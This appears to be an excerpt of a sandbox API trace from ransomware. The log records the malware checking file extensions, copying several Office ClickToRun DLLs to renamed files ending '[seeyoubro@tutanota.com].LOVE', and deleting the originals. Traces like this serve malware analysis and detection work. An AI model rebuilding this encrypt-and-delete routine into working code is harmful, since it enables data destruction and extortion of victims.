lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString=".xls") returned 4 [0209.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString=".xlsx") returned 5 [0209.468] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.468] lstrlenW (lpString=".ppt") returned 4 [0209.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString=".zip") returned 4 [0209.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString=".rar") returned 4 [0209.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString=".bz2") returned 4 [0209.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.468] lstrlenW (lpString=".7z") returned 3 [0209.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString=".dbf") returned 4 [0209.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString=".1cd") returned 4 [0209.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString=".jpg") returned 4 [0209.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.468] lstrlenW (lpString=".doc") returned 4 [0209.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString=".docx") returned 5 [0209.469] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.469] lstrlenW (lpString=".pdf") returned 4 [0209.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString=".xls") returned 4 [0209.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString=".xlsx") returned 5 [0209.469] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.469] lstrlenW (lpString=".ppt") returned 4 [0209.469] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.469] lstrlenW (lpString=".zip") returned 4 [0209.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString=".rar") returned 4 [0209.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.469] lstrlenW (lpString=".bz2") returned 4 [0209.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.469] lstrlenW (lpString=".7z") returned 3 [0209.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.469] lstrlenW (lpString=".dbf") returned 4 [0209.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.469] lstrlenW (lpString=".1cd") returned 4 [0209.469] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.469] lstrlenW (lpString=".jpg") returned 4 [0209.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.470] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.470] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0209.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.477] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=27840) returned 1 [0209.477] CloseHandle (hObject=0x37c) returned 1 [0209.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0209.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.477] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.477] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.478] GetLastError () returned 0x0 [0209.478] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0209.493] WriteFile (in: hFile=0x33c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0209.494] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.494] WriteFile (in: hFile=0x33c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x110, lpOverlapped=0x0) returned 1 [0209.494] SetEndOfFile (hFile=0x33c) returned 1 [0209.494] CloseHandle (hObject=0x33c) returned 1 [0209.495] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.495] SetEndOfFile (hFile=0x37c) returned 1 [0209.496] CloseHandle (hObject=0x37c) returned 1 [0209.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0209.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.497] lstrlenW (lpString=".doc") returned 4 [0209.497] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.497] lstrlenW (lpString=".docx") returned 5 [0209.497] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.497] lstrlenW (lpString=".pdf") returned 4 [0209.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.497] lstrlenW (lpString=".xls") returned 4 [0209.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.497] lstrlenW (lpString=".xlsx") returned 5 [0209.497] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.497] lstrlenW (lpString=".ppt") returned 4 [0209.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.497] lstrlenW (lpString=".zip") returned 4 [0209.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.498] lstrlenW (lpString=".rar") returned 4 [0209.498] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.498] lstrlenW (lpString=".bz2") returned 4 [0209.498] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.498] lstrlenW (lpString=".7z") returned 3 [0209.498] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.498] lstrlenW (lpString=".dbf") returned 4 [0209.498] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.498] lstrlenW (lpString=".1cd") returned 4 [0209.498] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.498] lstrlenW (lpString=".jpg") returned 4 [0209.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.498] lstrlenW (lpString=".doc") returned 4 [0209.498] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.498] lstrlenW (lpString=".docx") returned 5 [0209.498] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.498] lstrlenW (lpString=".pdf") returned 4 [0209.498] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.499] lstrlenW (lpString=".xls") returned 4 [0209.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.499] lstrlenW (lpString=".xlsx") returned 5 [0209.499] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.499] lstrlenW (lpString=".ppt") returned 4 [0209.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.499] lstrlenW (lpString=".zip") returned 4 [0209.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.499] lstrlenW (lpString=".rar") returned 4 [0209.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.499] lstrlenW (lpString=".bz2") returned 4 [0209.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.499] lstrlenW (lpString=".7z") returned 3 [0209.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.499] lstrlenW (lpString=".dbf") returned 4 [0209.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.499] lstrlenW (lpString=".1cd") returned 4 [0209.499] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0209.499] lstrlenW (lpString=".jpg") returned 4 [0209.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.499] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.499] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0209.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.500] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19648) returned 1 [0209.500] CloseHandle (hObject=0x37c) returned 1 [0209.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0209.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.500] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.500] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.500] GetLastError () returned 0x0 [0209.500] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0209.517] WriteFile (in: hFile=0x33c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0209.518] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.518] WriteFile (in: hFile=0x33c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x116, lpOverlapped=0x0) returned 1 [0209.518] SetEndOfFile (hFile=0x33c) returned 1 [0209.524] CloseHandle (hObject=0x33c) returned 1 [0209.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.531] SetEndOfFile (hFile=0x37c) returned 1 [0209.532] CloseHandle (hObject=0x37c) returned 1 [0209.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.532] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0209.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.532] lstrlenW (lpString=".doc") returned 4 [0209.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".docx") returned 5 [0209.533] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.533] lstrlenW (lpString=".pdf") returned 4 [0209.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".xls") returned 4 [0209.533] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".xlsx") returned 5 [0209.533] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.533] lstrlenW (lpString=".ppt") returned 4 [0209.533] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString=".zip") returned 4 [0209.533] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".rar") returned 4 [0209.533] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".bz2") returned 4 [0209.533] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.533] lstrlenW (lpString=".7z") returned 3 [0209.533] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString=".dbf") returned 4 [0209.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString=".1cd") returned 4 [0209.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString=".jpg") returned 4 [0209.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.533] lstrlenW (lpString=".doc") returned 4 [0209.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.533] lstrlenW (lpString=".docx") returned 5 [0209.533] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.533] lstrlenW (lpString=".pdf") returned 4 [0209.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.534] lstrlenW (lpString=".xls") returned 4 [0209.534] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.534] lstrlenW (lpString=".xlsx") returned 5 [0209.534] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.534] lstrlenW (lpString=".ppt") returned 4 [0209.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.534] lstrlenW (lpString=".zip") returned 4 [0209.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.534] lstrlenW (lpString=".rar") returned 4 [0209.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.534] lstrlenW (lpString=".bz2") returned 4 [0209.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.534] lstrlenW (lpString=".7z") returned 3 [0209.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.534] lstrlenW (lpString=".dbf") returned 4 [0209.534] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.534] lstrlenW (lpString=".1cd") returned 4 [0209.534] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0209.534] lstrlenW (lpString=".jpg") returned 4 [0209.534] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.534] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.534] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0209.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.534] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=21184) returned 1 [0209.535] CloseHandle (hObject=0x37c) returned 1 [0209.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0209.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.535] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.535] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0209.535] GetLastError () returned 0x0 [0209.535] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0209.575] WriteFile (in: hFile=0x300, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0209.576] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.576] WriteFile (in: hFile=0x300, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x110, lpOverlapped=0x0) returned 1 [0209.576] SetEndOfFile (hFile=0x300) returned 1 [0209.576] CloseHandle (hObject=0x300) returned 1 [0209.577] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.577] SetEndOfFile (hFile=0x37c) returned 1 [0209.578] CloseHandle (hObject=0x37c) returned 1 [0209.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.578] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 